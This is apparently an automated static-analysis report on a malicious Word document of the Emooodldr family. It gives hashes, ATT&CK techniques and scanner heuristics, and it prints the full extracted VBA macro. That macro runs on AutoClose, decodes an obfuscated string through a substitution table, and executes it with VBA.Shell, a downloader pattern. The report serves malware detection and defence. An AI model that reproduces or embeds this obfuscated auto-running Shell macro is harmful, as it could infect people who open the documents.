Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 f974b1b74f862028…

MALICIOUS

Office (OOXML)

53.7 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-31
MD5: d6229a6a24180bbf601015d9a14d4b1a SHA-1: c5184154b100074ef4c743409ecee20f4b41b78e SHA-256: f974b1b74f862028f1335b15ed98d1388cdc770b6770aac9b7cc62847d9dad32
242 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. It contains VBA macros, including an AutoClose function, which utilizes obfuscated code via the Shell() function. This strongly suggests the macro is designed to download and execute a secondary payload, a common characteristic of the Emooodldr family.

Heuristics 5

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2128 bytes
SHA-256: 0b0277a5237ff88bae0039d99b0458132873307b4a10e8fcaa5f63082e0c729d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function monohydric(gastric)
  uncloying = Array("0", "l", "H", "M", "X", "4", "x", "Z", "o", "h", "f", "1", "C", "y", "L", "A", "K", "F", "D", "9", "I", "z", "W", "n", "s", "2")
  afara = Array("h", " ", "e", "=", "t", "x", "q", "n", "O", "?", "i", "a", "w", "s", "m", "g", "d", ":", "c", "U", "u", "o", "/", "j", "p", ".")
  
  ata = vbNullString
  
  For Each semihumanizeds In gastric
    rechauffe = Application.Run("cattabu", semihumanizeds, uncloying)
    If rechauffe > -1 And rechauffe < 99212 Then
    ata = afara(rechauffe) + ata
    End If
  Next
  
  monohydric = StrReverse(ata)
  
End Function

Public Function cattabu(ostensory, operatively)

  unmistakingly = 81818
  compradoresator = -1
  For Each leptosome In operatively
    If leptosome = ostensory Then
     unmistakingly = compradoresator
     Exit For
    End If

    compradoresator = compradoresator + 1
    
  Next

  
  If unmistakingly = 81818 Then
    unmistakingly = -1
  End If


  cattabu = unmistakingly + 1
End Function




Sub AutoClose()
  gastric = Array("L", "y", "0", "X", "1", "2", "H", "4", "H", "l", "0", "X", "X", "s", "F", "W", "W", "n", "0", "f", "n", "K", "x", "C", "I", "A", "0", "1", "y", "Z", "K", "1", "y", "H", "x", "C", "2", "D", "z", "L", "W", "o", "9", "W", "y", "L", "f", "4", "2", "s", "0", "s", "h", "I", "X", "L", "1", "M", "Z", "Z", "f", "f", "0")
  fructification = monohydric(gastric)
  
  Application.Run "cosplendour", (fructification)
  
End Sub


Private Sub cosplendour(lycodidae)
   
   zoopsychologist = 69172
   lollardism = True
   
   While lollardism
     cardiae = zoopsychologist + 91723
     If cardiae - zoopsychologist > 297 Then
       VBA.Shell lycodidae, vbNormalFocus - 1
       lollardism = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: bf397269a30d05d818c26657aa8cd0db75a37b057c6de8c951fad83cfef0d26a
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely